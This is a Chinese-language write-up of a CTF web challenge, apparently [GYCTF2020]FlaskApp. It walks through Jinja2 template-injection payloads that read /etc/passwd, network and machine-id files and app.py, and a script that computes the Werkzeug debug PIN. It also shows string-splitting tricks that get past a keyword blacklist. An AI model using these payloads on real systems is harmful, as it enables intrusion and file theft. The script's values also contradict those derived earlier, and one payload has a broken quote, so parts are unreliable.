[GYCTF2020]FlaskApp

进去先随便输入点东西

在解密界面发现输入1报错了

看看这么个事

image-20240521142754408

在py语句框最右边发现一个小按钮

然后就看到了

![image-20240520221242710](C:\Users\汪涵裕\Pictures\Screenshots\屏幕截图 2024-05-20 214631.png)

所以我们要找到PIN码,多好

PIN码

- 服务器运行flask所登录的用户名。通过`/etc/passwd`中可以猜测为flaskweb或者root,此处用的flaskweb
- modname。一般不变就是flask.app
- getattr(app, “**name**”, app.**class**.**name**)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。`报错信息`会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的mac地址的十进制数。通过文件`/sys/class/net/eth0/address`获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436
- 机器的id:对于非docker机每一个机器都会有自已唯一的`id`
- Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
docker:/proc/self/cgroup

第一步:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

先加密在解密

结果 : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

所以猜测是flaskweb

第二步、第三步是固定值先跳过

第四步

这个可以在报错页面看到

/usr/local/lib/python3.7/site-packages/flask/app.py

第五步

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

和第一步一样先编码再解码

得到96:b2:87:41:04:53

转成十进制165693517530195

之后就是第六步,得到id

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id,'r').read() }}{% endif %}{% endfor %}
结果 : 11:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 10:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 9:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 8:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 7:net_cls,net_prio:/ 6:hugetlb:/ 5:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 4:perf_event:/ 3:freezer:/ 2:cpuset:/ 1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope

猜测为6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665

所以写脚本得到pin码

import hashlib

from itertools import chain



probably_public_bits = [

'flaskweb',#服务器运行flask所登录的用户名

'flask.app',#modname

'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)

'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径

]



private_bits = [

'85884687119731',#当前网络的mac地址的十进制数

'0b0430c98fa5194b90f0e7bc035502b299531fcf58e02a4cb8611ed3369bfb9c'#机器的id

]



h = hashlib.md5()

for bit in chain(probably_public_bits, private_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

if num is None:

h.update(b'pinsalt')

num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None

if rv is None:

for group_size in 5, 4, 3:

if len(num) % group_size == 0:

rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

for x in range(0, len(num), group_size))

break

else:

rv = num

print(rv)

得到PIN码235-415-601(但是还是做不出来啊!)

这一个方法只能放一放了

看看大佬们怎么说

不管pin,直接读取app.py

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到app.py的源码,发现waf

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

过滤了flag\os\system等

利用字符串拼接读找目录

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}


发现了this_is_the_flag.txt文件,稳了!!!

再读flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

得到flag!!!

大佬不愧是大佬,让我自习端详一番